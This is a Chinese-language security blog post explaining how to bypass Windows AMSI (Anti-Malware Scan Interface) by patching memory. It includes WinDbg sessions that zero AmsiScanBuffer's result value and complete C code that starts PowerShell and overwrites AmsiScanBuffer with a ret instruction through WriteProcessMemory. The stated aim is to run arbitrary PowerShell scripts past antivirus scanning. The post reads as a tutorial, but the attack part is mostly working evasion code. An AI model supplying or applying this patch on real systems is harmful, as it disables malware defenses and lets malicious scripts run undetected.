idiotc4t's blog
搜索文档…
GitBook 提供支持
基于内存补丁的AMSI绕过

AMSI简介

AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。
服务和应用程序可以通过AMSI来与系统中已安装的反恶意软件通信。为了完成该任务,AMSI采用了hook方法。比如,AMSI会hook WSH(Windows Scripting Host)及PowerShell来去混淆并分析正在执行的代码内容。这些内容会被“捕获”,并在执行之前发送给反恶意软件解决方案。
在Windows 10上,实现AMSI的所有组件如下所示:
    UAC(用户账户控制),安装EXE、COM、MSI或者ActiveX时提升权限
    PowerShell(脚本、交互式使用以及动态代码执行)
    Windows Script Host(wscript.exe或者cscript.exe
    JavaScript以及VBScript
    Office VBA宏
AMSI整体架构如下图所示:
简单的说AMSI就是这玩意:

技术原理&流程

根据前人的研究,我们知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的,而内存补丁是一种较为便捷的技术,我们可以对这个函数进行修补,使其丧失判断能力,这样我们就能自由执行任意powershell脚本,当然前提是脚本文件没有被杀软干掉。
实现方式有很多种,如注入一个内存修补功能的dll、获取amsiscanbuffer函数地址使用winapi进行修补。
这里我们使用获取函数地址对其进行修补,流程如下:
    1.
    创建一个powershell进程
    2.
    获取amsiscanbuffer函数地址
    3.
    修改函数内存空间属性
    4.
    修补函数执行体
前面文章有阐述过目前windows不同进程加载同一个系统模块的地址是一致的,所以我们可以使用本地加载dll获取对应函数地址去修补其他进程的该函数。
根据微软官方文档,AmsiScanBuffer函数应该返回HRESULT类型值,这是一个整数值,用来表示操作是否成功。在我们的例子中,如果该函数成功,那么就应当返回S_OK0x00000000),否则应该返回HRESULT错误代码。
这个函数的主要功能是返回需要扫描的内容是否存在问题,这也是result变量会作为参数传递给AmsiScanBuffer函数的原因所在。这个变量的类型为AMSI_RESULT枚举类型。
对应的枚举原型如下所示:
1
typedef enum AMSI_RESULT {
2
AMSI_RESULT_CLEAN,
3
AMSI_RESULT_NOT_DETECTED,
4
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
5
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
6
AMSI_RESULT_DETECTED
7
};
Copied!
在函数执行过程中,待分析的内容会被发送到反恶意软件服务,后者会返回132762(含)之间的一个整数。整数值越大,则代表风险越高。如果证书大于或等于32762,那么就会将其判断为恶意数据,加以阻止。随后系统会根据返回的整数值来更新AMSI_RESULT变量值。
默认情况下,该变量处于“正常”(“无害”)值状态,因此,如果我们修改了函数指令,使其永远不会将待分析的内容发送给反恶意软件服务,并且返回S_OK HRESULT结果值,那么这些内容就会被当成无害数据。
在汇编语言中,EAX(32位)以及RAX(64位)寄存器始终包含函数的返回值。因此,如果EAX/RAX寄存器值等于0,并且如果执行了ret汇编指令,那么该函数就会返回S_OK HRSULT,不会将待分析数据发送给反恶意软件服务。
事实上对于字符串的拦截工作是在AmsiScanBuffer函数内完成的,并非在AmsiScanBuffer返回后由其他函数拦截,这也解释了为什么我们直接ret也能绕过AMSI(此时RAX内存放着AmsiScanBuffer的地址,无论如何也远大于32762)。
这里写的有问题,今天自己去调了一下,返回值 实际上是保存在堆栈对齐后的[rsp+28]的位置。
检讨一下这里确实主观臆测了。
现在我们测一下......
首先在AmsiScanBuffer下一个断点。
1
0:029> bm Amsi!AmsiScanBuffer
2
SYMSRV: BYINDEX: 0x3
3
c:\symbols*http://msdl.microsoft.com/download/symbols
4
Amsi.pdb
5
C010A935E7681F4F58B28C6AA852B23A1
6
SYMSRV: PATH: c:\symbols\Amsi.pdb\C010A935E7681F4F58B28C6AA852B23A1\Amsi.pdb
7
SYMSRV: RESULT: 0x00000000
8
DBGHELP: amsi - public symbols
9
c:\symbols\Amsi.pdb\C010A935E7681F4F58B28C6AA852B23A1\Amsi.pdb
10
1: 00007ffb`56bd2710 @!"amsi!AmsiScanBuffer"
Copied!
断下来的时候查看一下rdx(第二个参数);
1
0:004> g
2
Breakpoint 1 hit
3
amsi!AmsiScanBuffer:
4
00007ffb`56bd2710 4c8bdc mov r11,rsp
5
0:025> db rdx
6
000002d6`892c3984 22 00 41 00 6d 00 73 00-69 00 53 00 63 00 61 00 ".A.m.s.i.S.c.a.
7
000002d6`892c3994 6e 00 42 00 75 00 66 00-66 00 65 00 72 00 22 00 n.B.u.f.f.e.r.".
8
000002d6`892c39a4 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Copied!
使用pt命令执行到该函数的ret,单步执行跳出函数平衡堆栈,然后去查看rsp+28(第六个参数)。
1
0:025> dq rsp+28
2
000000fb`169ce328 000000fb`169ce418 00004cd9`c14878ba
3
000000fb`169ce338 00007ffb`307da9f0 000000fb`169cec40
4
000000fb`169ce348 00007ffa`fde3e510 00007ffa`fde3e510
5
000000fb`169ce358 000000fb`169ce300 00007ffa`fe8d75c7
6
000000fb`169ce368 000000fb`169ce3c0 00007ffa`fde3e510
7
000000fb`169ce378 000000fb`169ce418 000002d6`88b61420
8
000000fb`169ce388 00000000`00000009 000002d6`892c3978
9
000000fb`169ce398 000002d6`88b61420 000002d6`88be2290
Copied!
由于是第六个参数是保存在堆栈的,同时传入的是一个指向AMSI_RESULT结构体(枚举类型)的指针,所以我们需要去查看一下指针指向的值。
1
0:025> dq 000000fb`169ce418
2
000000fb`169ce418 00000000`00008000 00000000`00000000
3
000000fb`169ce428 00000000`00000001 000002d6`892c7a30
4
000000fb`169ce438 000002d6`892c7f00 000002d6`892c7af0
5
000000fb`169ce448 000002d6`892c7fc8 000002d6`892c3978
6
000000fb`169ce458 00007ffa`fea6b645 00007ffa`ff42eb28
7
000000fb`169ce468 00007ffb`3003f4b3 000002d6`a0b99690
8
000000fb`169ce478 00007ffb`2d28b58e 00000000`ffffffff
9
000000fb`169ce488 000002d6`98b69ac0 00000000`00000000
Copied!
可以看到保存到值是0x8000,也就是十进制的32768,这时我们修改掉他的值。
1
0:025> f 000000fb`169ce418 l8 0
2
Filled 0x8 bytes
3
0:025> dq 000000fb`169ce418
4
000000fb`169ce418 00000000`00000000 00000000`00000000
5
000000fb`169ce428 00000000`00000001 000002d6`892c7a30
Copied!
继续运行。

手工操作

创建一个powershell进程
调试器附加并定位AmsiScanBuffer函数
修补该函数使其直接返回(具体细节大家可以使用ida和x64dbg跟一下)。
绕过AMSI。

代码实现

由于powershell版的内存补丁绕过在互联网上到处都是,且有被标黑,这里就不贴出来了(好吧其实是我懒),这里我们其实也有多种实现思路,可以查找运行中的powershell.exe进程来进行修补,也可以自己创建一个新的powershell进程进行修补,这里采用新创建的powershell进行修补。
1
#include <Windows.h>
2
#include <stdio.h>
3
4
int main() {
5
STARTUPINFOA si = {0};
6
PROCESS_INFORMATION pi = { 0 };
7
si.cb = sizeof(si);
8
9
CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
10
11
HMODULE hAmsi = LoadLibraryA("amsi.dll");
12
LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
13
14
Sleep(500);
15
16
DWORD oldProtect;
17
char patch = 0xc3;
18
19
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
20
WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char),NULL);
21
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
22
CloseHandle(pi.hProcess);
23
CloseHandle(pi.hThread);
24
FreeLibrary(hAmsi);
25
return 0;
26
}
Copied!

LINKS

AMSI Bypass | Context Information Security
Context Information Security
初探Powershell与AMSI检测对抗技术 - 安全客,安全资讯平台
How to bypass AMSI and execute ANY malicious Powershell code
zc00l blog
如何绕过AMSI - 安全客,安全资讯平台
最近更新 1yr ago